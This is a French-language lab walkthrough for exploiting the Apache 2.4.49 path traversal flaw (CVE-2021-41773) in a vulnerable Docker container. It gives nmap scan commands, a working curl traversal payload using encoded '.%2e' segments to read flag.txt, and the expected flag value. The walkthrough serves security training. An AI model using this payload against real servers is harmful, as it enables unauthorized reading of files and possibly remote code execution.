
Laboratoire pratique pour exploiter la traversée de chemin Apache 2.4.49 (CVE-2021-41773) à l'aide de Docker, d'un scan Nmap et de curl pour récupérer un flag.
Une faille a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de traversée de chemin pour mapper des URL vers des fichiers situés en dehors des répertoires configurés par des directives de type Alias. Si ces fichiers situés en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle « require all denied », ces requêtes peuvent aboutir. Si les scripts CGI sont également activés pour ces chemins aliasés, cela pourrait permettre une exécution de code à distance. Ce problème n'affecte que Apache 2.4.49 et non les versions antérieures.
Crédits intro à : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
L'objectif de l'exercice est d'exploiter la vulnérabilité présente dans Apache 2.4.49. Pour pouvoir l'exploiter, il est nécessaire d'utiliser une « attaque de traversée de chemin » pour mapper les fichiers en dehors des dossiers préconfigurés et créer une sorte de shell distant.
Pour l'exercice, il est pratique d'utiliser un docker vulnérable ad hoc disponible sur docker hub :
Lien : https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Pour pouvoir voir les images des dockers pullés :
$docker images
Exécuter le docker sur le port 8080 :
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Pour pouvoir vérifier qu'il est effectivement en cours d'exécution :
$docker ps

Comme on le voit, le serveur web fonctionne parfaitement :

Phase de scan (nous essayons de collecter le plus d'informations possible sur l'hôte) :
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Phase d'énumération (nous essayons d'approfondir les informations en énumérant les ports trouvés lors de la phase de scan) :
$nmap -sV -sC -oA versionScan localhost

Pour pouvoir effectuer l'attaque, il est nécessaire de lancer cette commande et d'essayer de trouver le flag (s'il est placé dans la racine) :
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Pour avoir la certitude que l'exercice a réussi, et que le flag est effectivement celui trouvé, comparer la chaîne avec son décryptage en Md5 (« HaiTrovatoLaFlag_Apache »). Si les deux chaînes correspondent, alors le tour est joué !